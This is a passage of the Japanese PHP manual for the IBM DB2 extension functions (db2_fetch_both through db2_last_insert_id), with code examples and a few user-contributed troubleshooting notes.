上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例2 スクロール可能なカーソルから、指定した行を db2_fetch_both() で取得する

スクロール可能なカーソルを使用している場合は、行番号を指定して db2_fetch_both() をコールすることができます。 次の例は、結果セットの 2 行目から始めて 1 行おきにデータを取得します。

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row['NAME'], $row[2], $row['WEIGHT']);
    $i = $i + 2;
}
?>

上の例の出力は以下となります。

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参考

  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_object() - 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

eacosta at openware dot biz 05-Jun-2008 08:55
Hello,

Some weeks ago I faced difficulties with walk a big number of
records from a result set.

I was using the function db2_fetch_both in a method of a database adapter
class to retrieve just one record at a time. The total number of records
were: 5647 and when I reach record number 1600 the function crashed
generating the below message in "Actual result" field.

I am copying table's description next:

TMP_TABLE
-----------------------------------------------------------------
| ID        | TYPE        | SIZE        | NULL        |
-----------------------------------------------------------------
| ID        | INTEGER    | 4        | NO        |
| SERVICE    | VARCHAR    | 30        | NO        |
| ID_v        | VARCHAR    | 30        | NO        |
| INFORMATION    | CLOB        | 65536        | YES        |
| EXP_LEVEL    | INTEGER    | 4        | NO        |
| IP4B        | BIGINT    | 8        | NO        |
| MODIFIED    | INTEGER    | 4        | YES        |
| DETAIL    | VARCHAR    | 200        | YES        |
| FALSPOS    | INTEGER    | 4        | YES        |
-----------------------------------------------------------------

When it crashed I received this message from db2_fetch_both

db2_fetch_array() [function.db2-fetch-array]: Fetch Failure

After reported this message to IBM OpenDev I was helped by a OpenDev IBMer who noticed me
that it wasn't a ibm_db2 module problem, in fact it was a database configuration
issue. The OpenDev IBMer looked into my DB2 Client CLI TRACE files and found out what was happen.
So I had to modify APP_CTL_HEAP_SZ and everything seems to works fine now.

--
Esteban Acosta Villafane
Area I+D
http://www.openware.biz/opendev
Linkein Profile: http://www.linkedin.com/in/estebanav


結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す

  • ≪ db2_fetch_both
  • db2_fetch_row ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す

db2_fetch_object

(PECL ibm_db2 >= 1.0.0)

db2_fetch_object — 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す

説明

db2_fetch_object ( resource $stmt , int $row_number = -1 ) : object

結果セット内の行を表す、カラムをプロパティとするオブジェクトを返します。

パラメータ

stmt

結果セットを含む有効な stmt リソース。

row_number

結果セット内の 1 から始まる行番号を指定します。 結果セットで前進のみのカーソルを使用している場合にこのパラメータを渡すと、 PHP の警告が発生します。

返り値

結果セット内の行を表すオブジェクトを返します。 オブジェクトのプロパティが、結果セット内のカラム名に対応します。

IBM DB2、Cloudscape および Apache Derby データベースサーバーは、 通常はカラム名を大文字として扱います。そのため、 オブジェクトのプロパティも同じようになります。

SELECT 文の中でスカラ関数をコールすることでカラムの値を変更している場合、 データベースサーバーは、そのカラムの名前としてカラム番号を返します。 もし何らかの意味のある名前をオブジェクトのプロパティとして使用したいのなら、 AS 句を使用して結果セット内のカラムに名前を割り当てる必要があります。

行が取得されなかった場合は false を返します。

例

例1 db2_fetch_object() の例

次の例では、スカラ関数 RTRIM を使用した SELECT 文を発行します。 この関数は、カラムの最後の空白を取り除きます。プロパティ "BREED" および "2" を持つオブジェクトを作成するのではなく、 SELECT 文で AS 句を使用し、変更したカラムに "name" という名前をつけます。 データベースサーバーはカラム名を大文字に変換するので、 返されるオブジェクトのプロパティは "BREED" および "NAME" となります。

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
    FROM animals
    WHERE id = ?";

if ($conn) {
    $stmt = db2_prepare($conn, $sql);
    db2_execute($stmt, array(0));

    while ($pet = db2_fetch_object($stmt)) {
        echo "Come here, {$pet->NAME}, my little {$pet->BREED}!";
    }
    db2_close($conn);
}
?>

上の例の出力は以下となります。

Come here, Pook, my little cat!

参考

  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_row() - 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

There are no user contributed notes for this page.


結果セットポインタを次の行あるいは要求された行に設定する

  • ≪ db2_fetch_object
  • db2_field_display_size ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セットポインタを次の行あるいは要求された行に設定する

db2_fetch_row

(PECL ibm_db2 >= 1.0.0)

db2_fetch_row — 結果セットポインタを次の行あるいは要求された行に設定する

説明

db2_fetch_row ( resource $stmt , int $row_number = ? ) : bool

db2_fetch_row() を使用して結果セットを順に処理します。 あるいは、スクロール可能なカーソルを使用している場合は 指定した行を指すようにします。

結果セットから個々のフィールドを取得するには db2_result() 関数をコールします。

db2_fetch_row() および db2_result() をコールするのではなく、 ほとんどのアプリケーションでは db2_fetch_assoc()、db2_fetch_both()、 および db2_fetch_array() のいずれかをコールするでしょう。 これらは、結果セットのポインタを前に進めたうえで行の内容を配列として取得します。

パラメータ

stmt

有効な stmt リソース。

row_number

スクロール可能なカーソルの場合に、結果セットの行番号を指定します。 行番号は 1 から始まります。

返り値

結果セットに指定した行が存在する場合に true、存在しない場合に false を返します。

例

例1 結果セットを順に処理する

次の例では、db2_fetch_row() を使用して結果セットを順に処理し、db2_result() で結果セットからカラムを取得する方法を示します。

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 1);
    print "$name $breed";
}
?>

上の例の出力は以下となります。

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

例2 i5/OS recommended alternatives to db2_fetch_row/db2_result

i5/OS では、db2_fetch_row()/db2_result()
ではなく db2_fetch_both()、
db2_fetch_array() あるいは db2_fetch_object()
を使用することを推奨します。一般に
db2_fetch_row()/db2_result() は、さまざまなカラム型で
EBCIDIC から ASCII への変換の際に問題が発生します。
DBCS アプリケーションではデータが切り捨てられてしまう可能性もあります。
また、パフォーマンス面でも db2_fetch_both()、
db2_fetch_array() および db2_fetch_object()
は db2_fetch_row()/db2_result()
よりすぐれています。

<?php
  $conn = db2_connect("","","");
  $sql = 'SELECT SPECIFIC_SCHEMA, SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, ROUTINE_CREATED, ROUTINE_BODY, IN_PARMS, OUT_PARMS, INOUT_PARMS, PARAMETER_STYLE, EXTERNAL_NAME, EXTERNAL_LANGUAGE FROM QSYS2.SYSROUTINES FETCH FIRST 2 ROWS ONLY';
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_both($stmt)){
    echo "<br>db2_fetch_both {$row['SPECIFIC_NAME']} {$row['ROUTINE_CREATED']} {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_array($stmt)){
    echo "<br>db2_fetch_array {$row[1]}  {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_object($stmt)){
    echo "<br>db2_fetch_object {$row->SPECIFIC_NAME} {$row->ROUTINE_CREATED}";
  }
  db2_close($conn);
?>

上の例の出力は以下となります。

db2_fetch_both MATCH_ANIMAL 2006-08-25-17.10.23.775000 2006-08-25-17.10.23.775000
db2_fetch_both MULTIRESULTS 2006-10-17-10.11.05.308000 2006-10-17-10.11.05.308000
db2_fetch_array MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_array MULTIRESULTS 2006-10-17-10.11.05.308000
db2_fetch_object MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_object MULTIRESULTS 2006-10-17-10.11.05.308000

参考

  • db2_fetch_array() - 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc() - 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both() - 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_object() - 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_result() - 結果セットの行からひとつのカラムを返す

User Contributed Notes

krisdover at hotmail dot com 21-Jan-2007 12:54
if the second parameter (the row number) is specified, your connection needs to have the CURSOR option set to DB2_SCROLLABLE. Otherwise all calls to this function will fail. Internal to the ibm_db2 extension module the db2cli api function SQLFetchScroll() generates the error "CLI0145E  Fetch type out of range" since it requires a scrollable resultset to work, instead of the default forward only resultset.

hope this saves someone the time it took me to track this down in the db2cli traces.

Regards,
Kris Dover
andrey at php dot net 26-Nov-2005 01:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.


カラムを表示するために必要な最大のバイト数を返す

  • ≪ db2_fetch_row
  • db2_field_name ≫
  • PHP Manual
  • IBM DB2 関数
  • カラムを表示するために必要な最大のバイト数を返す

db2_field_display_size

(PECL ibm_db2 >= 1.0.0)

db2_field_display_size — カラムを表示するために必要な最大のバイト数を返す

説明

db2_field_display_size ( resource $stmt , mixed $column ) : int

結果セット内のカラムを表示するために必要な最大のバイト数を返す

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

指定したカラムを表示するために必要な最大バイト数を表す整数値を返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_display_size() は false を返します。

参考

  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内のカラムの名前を返す

  • ≪ db2_field_display_size
  • db2_field_num ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内のカラムの名前を返す

db2_field_name

(PECL ibm_db2 >= 1.0.0)

db2_field_name — 結果セット内のカラムの名前を返す

説明

db2_field_name ( resource $stmt , mixed $column ) : string

結果セット内の指定したカラムの名前を返します。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

指定したカラムの名前を含む文字列を返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_name() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 08:14
example:

<?php
// select all fields from salay table
$sql = "SELECT * FROM SALARY";

$stmt = db2_prepare($conn,$sql);

if(db2_execute($stmt)){
    $columns = db2_num_fields($stmt);
    for($i=0;$i<$columns;$i++){
        $fieldName[] = db2_field_name($stmt,$i);
    }
    print_r($fieldName);
}else{
    echo db2_stmt_errormsg();
}

/* output
* Array ( [0] => ID [1] => USERID [2] => VALUE )
*/
?>


結果セット内の指定したカラムの位置を返す

  • ≪ db2_field_name
  • db2_field_precision ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の指定したカラムの位置を返す

db2_field_num

(PECL ibm_db2 >= 1.0.0)

db2_field_num — 結果セット内の指定したカラムの位置を返す

説明

db2_field_num ( resource $stmt , mixed $column ) : int

結果セット内の指定したカラムの位置を返します。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

結果セット内でのカラムの位置を、0 から始まる整数値で返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_num() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の指定したカラムの精度を返す

  • ≪ db2_field_num
  • db2_field_scale ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の指定したカラムの精度を返す

db2_field_precision

(PECL ibm_db2 >= 1.0.0)

db2_field_precision — 結果セット内の指定したカラムの精度を返す

説明

db2_field_precision ( resource $stmt , mixed $column ) : int

結果セット内の指定したカラムの精度を返します。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

指定したカラムの精度を表す整数値を返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_precision() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の指定したカラムの位取りを返す

  • ≪ db2_field_precision
  • db2_field_type ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の指定したカラムの位取りを返す

db2_field_scale

(PECL ibm_db2 >= 1.0.0)

db2_field_scale — 結果セット内の指定したカラムの位取りを返す

説明

db2_field_scale ( resource $stmt , mixed $column ) : int

結果セット内の指定したカラムの位取りを返します。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

指定したカラムの位取りを整数値で返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_scale() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の指定したカラムのデータ型を返す

  • ≪ db2_field_scale
  • db2_field_width ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の指定したカラムのデータ型を返す

db2_field_type

(PECL ibm_db2 >= 1.0.0)

db2_field_type — 結果セット内の指定したカラムのデータ型を返す

説明

db2_field_type ( resource $stmt , mixed $column ) : string

結果セット内の指定したカラムのデータ型を返します。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

指定したカラムに定義されているデータ型を表す文字列を返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_type() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_width() - 結果セット内の指定したカラムの現在値の幅を返す

User Contributed Notes

There are no user contributed notes for this page.


結果セット内の指定したカラムの現在値の幅を返す

  • ≪ db2_field_type
  • db2_foreign_keys ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セット内の指定したカラムの現在値の幅を返す

db2_field_width

(PECL ibm_db2 >= 1.0.0)

db2_field_width — 結果セット内の指定したカラムの現在値の幅を返す

説明

db2_field_width ( resource $stmt , mixed $column ) : int

結果セット内の指定したカラムの現在値の幅を返します。 固定長のデータ型では、この値はカラムの最大幅になります。 可変長のデータ型では、実際のカラムの幅となります。

パラメータ

stmt

結果セットを含むステートメントリソースを指定します。

column

結果セット内のカラムを指定します。0 から始まるインデックス、 あるいはカラム名を表す文字列のいずれかが使用可能です。

返り値

結果セット内の文字型あるいはバイナリデータ型のカラムについて、 その幅を整数値で返します。 結果セット内にそのカラムが存在しない場合には、 db2_field_width() は false を返します。

参考

  • db2_field_display_size() - カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name() - 結果セット内のカラムの名前を返す
  • db2_field_num() - 結果セット内の指定したカラムの位置を返す
  • db2_field_precision() - 結果セット内の指定したカラムの精度を返す
  • db2_field_scale() - 結果セット内の指定したカラムの位取りを返す
  • db2_field_type() - 結果セット内の指定したカラムのデータ型を返す

User Contributed Notes

There are no user contributed notes for this page.


テーブルの外部キーを含む結果セットを返す

  • ≪ db2_field_width
  • db2_free_result ≫
  • PHP Manual
  • IBM DB2 関数
  • テーブルの外部キーを含む結果セットを返す

db2_foreign_keys

(PECL ibm_db2 >= 1.0.0)

db2_foreign_keys — テーブルの外部キーを含む結果セットを返す

説明

db2_foreign_keys ( resource $connection , string $qualifier , string $schema , string $table-name ) : resource

テーブルの外部キーを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。schema が null の場合は、db2_foreign_keys() 現在の接続のスキーマに一致します。

table-name

テーブルの名前。

返り値

指定したテーブルの外部キーを含む結果セットのステートメントリソースを返します。 結果セットは、以下のカラムで構成されています。

カラム名 | 説明
PKTABLE_CAT | 主キーを含むテーブルのカタログの名前。 テーブルがカタログを保持していない場合は NULL。
PKTABLE_SCHEM | 主キーを含むテーブルのスキーマの名前。
PKTABLE_NAME | 主キーを含むテーブルの名前。
PKCOLUMN_NAME | 主キーを含むカラムの名前。
FKTABLE_CAT | 外部キーを含むテーブルのカタログの名前。 テーブルがカタログを保持していない場合は NULL。
FKTABLE_SCHEM | 外部キーを含むテーブルのスキーマの名前。
FKTABLE_NAME | 外部キーを含むテーブルの名前。
FKCOLUMN_NAME | 外部キーを含むカラムの名前。
KEY_SEQ | 1 から始まる数字で表した、キー内のカラムの位置。
UPDATE_RULE | SQL で UPDATE 操作を行った際に外部キーに適用される動作を表す整数値。
DELETE_RULE | SQL で DELETE 操作を行った際に外部キーに適用される動作を表す整数値。
FK_NAME | 外部キーの名前。
PK_NAME | 主キーの名前。
DEFERRABILITY | 外部キーの遅延度を表す整数値。 SQL_INITIALLY_DEFERRED、SQL_INITIALLY_IMMEDIATE あるいは SQL_NOT_DEFERRABLE のいずれか。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


結果セットに関連付けられたリソースを開放する

  • ≪ db2_foreign_keys
  • db2_free_stmt ≫
  • PHP Manual
  • IBM DB2 関数
  • 結果セットに関連付けられたリソースを開放する

db2_free_result

(PECL ibm_db2 >= 1.0.0)

db2_free_result — 結果セットに関連付けられたリソースを開放する

説明

db2_free_result ( resource $stmt ) : bool

結果セットに関連付けられたシステムリソースおよびデータベースリソースを 開放します。これらのリソースはスクリプトの終了時に暗黙的に開放されますが、 スクリプトの終了前に db2_free_result() をコールすることで、明示的に結果セットリソースを開放することができます。

パラメータ

stmt

有効なステートメントリソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • db2_free_stmt() - 指定されたステートメントリソースに関連付けられたリソースを開放する

User Contributed Notes

There are no user contributed notes for this page.


指定されたステートメントリソースに関連付けられたリソースを開放する

  • ≪ db2_free_result
  • db2_get_option ≫
  • PHP Manual
  • IBM DB2 関数
  • 指定されたステートメントリソースに関連付けられたリソースを開放する

db2_free_stmt

(PECL ibm_db2 >= 1.0.0)

db2_free_stmt — 指定されたステートメントリソースに関連付けられたリソースを開放する

説明

db2_free_stmt ( resource $stmt ) : bool

ステートメントリソースに関連付けられたシステムリソースおよびデータベースリソースを 開放します。これらのリソースはスクリプトの終了時に暗黙的に開放されますが、 スクリプトの終了前に db2_stmt_result() をコールすることで、明示的にステートメントリソースを開放することができます。

パラメータ

stmt

有効なステートメントリソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • db2_free_result() - 結果セットに関連付けられたリソースを開放する

User Contributed Notes

alan at alanseiden dot com 19-Jul-2016 07:29
Update: as of version 1.9.2, db2_free_stmt() was not only deprecated, but its functionality removed completely. It returns TRUE but does nothing.

Instead of db2_free_stmt(), use the aforementioned $stmt = ''; to trigger the statement's destructor.

It is advised to destroy the statement resource in this way if the statement variable is later re-used with another db2_prepare in the same request.

Example:
$stmt = db2_prepare($conn, $sql1);
// more code goes here
$stmt = ''; // destroy statement resource before assigning another statement to the same variable.
$stmt = db2_prepare($conn, $sql2);


ステートメントリソースあるいは接続リソースからオプションの値を取得する

  • ≪ db2_free_stmt
  • db2_last_insert_id ≫
  • PHP Manual
  • IBM DB2 関数
  • ステートメントリソースあるいは接続リソースからオプションの値を取得する

db2_get_option

(PECL ibm_db2 >= 1.6.0)

db2_get_option — ステートメントリソースあるいは接続リソースからオプションの値を取得する

説明

db2_get_option ( resource $resource , string $option ) : string|false

ステートメントリソースあるいは接続リソースから、指定したオプションの値を取得します。

パラメータ

resource

db2_prepare() が返す有効なステートメントリソース、 あるいは db2_connect() や db2_pconnect() が返す有効な接続リソース。

option

ステートメントや接続の、有効なオプション。 以下の新しいオプションが、ibm_db2 バージョン 1.6.0 以降で使用可能です。 これらは、有用な情報を提供します。これらの情報は、 db2_get_option() によって取得します。

注意:

以前のバージョンの ibm_db2 では、これらの新しいオプションはサポートしていません。

各オプションの値を設定する際、 サーバーによっては指定したすべての内容を処理できないことがあります。 その場合、値が切り詰められます。

指定したオプションが正しく変換されてホストシステムに送信されることを確実にするには、 A から Z までの文字と 0 から 9 までの数字、そしてアンダースコア (_) とピリオド (.) のみを使用するようにします。

userid

SQL_ATTR_INFO_USERID - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのユーザー ID として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 16 文字までの長さをサポートしています。 このユーザー ID を、認証時に使用するユーザー ID と混同しないでください。 これは識別のためだけに使用するものであり、認証には用いられません。

acctstr

SQL_ATTR_INFO_ACCTSTR - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのアカウンティング・ストリングとして使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 200 文字までの長さをサポートしています。

applname

SQL_ATTR_INFO_APPLNAME - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのアプリケーション名として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 32 文字までの長さをサポートしています。

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - ヌル終端の文字列へのポインタで、DB2 接続の際にホストデータベースサーバーに送信する クライアントのワークステーション名として使用します。

注意:

z/OS および OS/390 サーバー版の DB2 は 18 文字までの長さをサポートしています。

次の表は、どのオプションがどのリソース型で使用できるのかをまとめたものです。

リソースとパラメータの対応
キー | 値 | リソース型
 |  | 接続 | ステートメント | 結果セット
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

返り値

成功した場合に接続属性の現在の設定内容、 失敗した場合に false を返します。

例

例1 接続リソースのパラメータの設定および取得

<?php
/* データベースへの接続パラメータ */
$database = 'SAMPLE';
$user     = 'db2inst1';
$password = 'ibmdb2';

/* 接続リソースの取得 */
$conn = db2_connect($database, $user, $password);

echo "Client attributes passed through connection string:\n";

/* 有効なキーと値のペアを持つ連想配列を作成 */
/* 接続文字列を介して属性をアサイン */
/* 指定されたオプションにアクセス */
$options1 = array('userid' => 'db2inst1');
$conn1 = db2_connect($database, $user, $password, $options1);
$val = db2_get_option($conn1, 'userid');
echo $val . "\n";

$options2 = array('acctstr' => 'account');
$conn2 = db2_connect($database, $user, $password, $options2);
$val = db2_get_option($conn2, 'acctstr');
echo $val . "\n";

$options3 = array('applname' => 'myapp');
$conn3 = db2_connect($database, $user, $password, $options3);
$val = db2_get_option($conn3, 'applname');
echo $val . "\n";

$options4 = array('wrkstnname' => 'workstation');
$conn4 = db2_connect($database, $user, $password, $options4);
$val = db2_get_option($conn4, 'wrkstnname');
echo $val . "\n";

echo "Client attributes passed post-connection:\n";

/* 有効なキーと値のペアを持つ連想配列を作成 */
/* 接続作成後に属性をアサイン */
/* 指定されたオプションにアクセス */
$options5 = array('userid' => 'db2inst1');
$conn5 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn5, $options5, 1);
$val = db2_get_option($conn5, 'userid');
echo $val . "\n";

$options6 = array('acctstr' => 'account');
$conn6 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn6, $options6, 1);
$val = db2_get_option($conn6, 'acctstr');
echo $val . "\n";

$options7 = array('applname' => 'myapp');
$conn7 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn7, $options7, 1);
$val = db2_get_option($conn7, 'applname');
echo $val . "\n";

$options8 = array('wrkstnname' => 'workstation');
$conn8 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn8, $options8, 1);
$val = db2_get_option($conn8, 'wrkstnname');
echo $val . "\n";
?>

上の例の出力は以下となります。

Client attributes passed through connection string:
db2inst1
account
myapp
workstation
Client attributes passed post-connection:
db2inst1
account
myapp
workstation

参考

  • db2_connect() - データベースへの接続を返す
  • db2_cursor_type() - ステートメントリソースが使用しているカーソルの型を返す
  • db2_exec() - SQL 文を直接実行する
  • db2_set_option() - 接続リソースあるいはステートメントリソースのオプションを設定する
  • db2_pconnect() - データベースへの持続的接続を返す
  • db2_prepare() - 実行する SQL 文を準備する

User Contributed Notes

There are no user contributed notes for this page.


この接続上で最後に成功した insert クエリが自動生成した ID を返す

  • ≪ db2_get_option
  • db2_lob_read ≫
  • PHP Manual
  • IBM DB2 関数
  • この接続上で最後に成功した insert クエリが自動生成した ID を返す

db2_last_insert_id

(PECL ibm_db2 >= 1.7.1)

db2_last_insert_id — この接続上で最後に成功した insert クエリが自動生成した ID を返す

説明

db2_last_insert_id ( resource $resource ) : string

この接続上で最後に成功した insert クエリが自動生成した ID を返します。

この関数の結果は、以下のいずれにも影響を受けません。

  • VALUE 句を使用した単一行の INSERT 文で、ID カラムを指定していないもの

  • VALUE 句を使用した複数行の INSERT 文

  • 全選択からの INSERT 文

  • ROLLBACK TO SAVEPOINT 文

パラメータ

resource

db2_connect() あるいは db2_pconnect() が返す接続リソース。 このパラメータにはステートメントリソースや結果セットリソースを指定することはできません。

返り値

この接続上で最後に成功した insert クエリが自動生成した ID を返します。

例

例1 db2_last_insert_id() の例

次の例は、この接続上で最後に成功した insert クエリが自動生成した ID を返す方法を示します。

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);
    $ret =  db2_last_insert_id($conn);
    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

上の例の出力は以下となります。

Last Insert ID is : 1

User Contributed Notes

Mark Adkins 10-Jun-2010 09:28
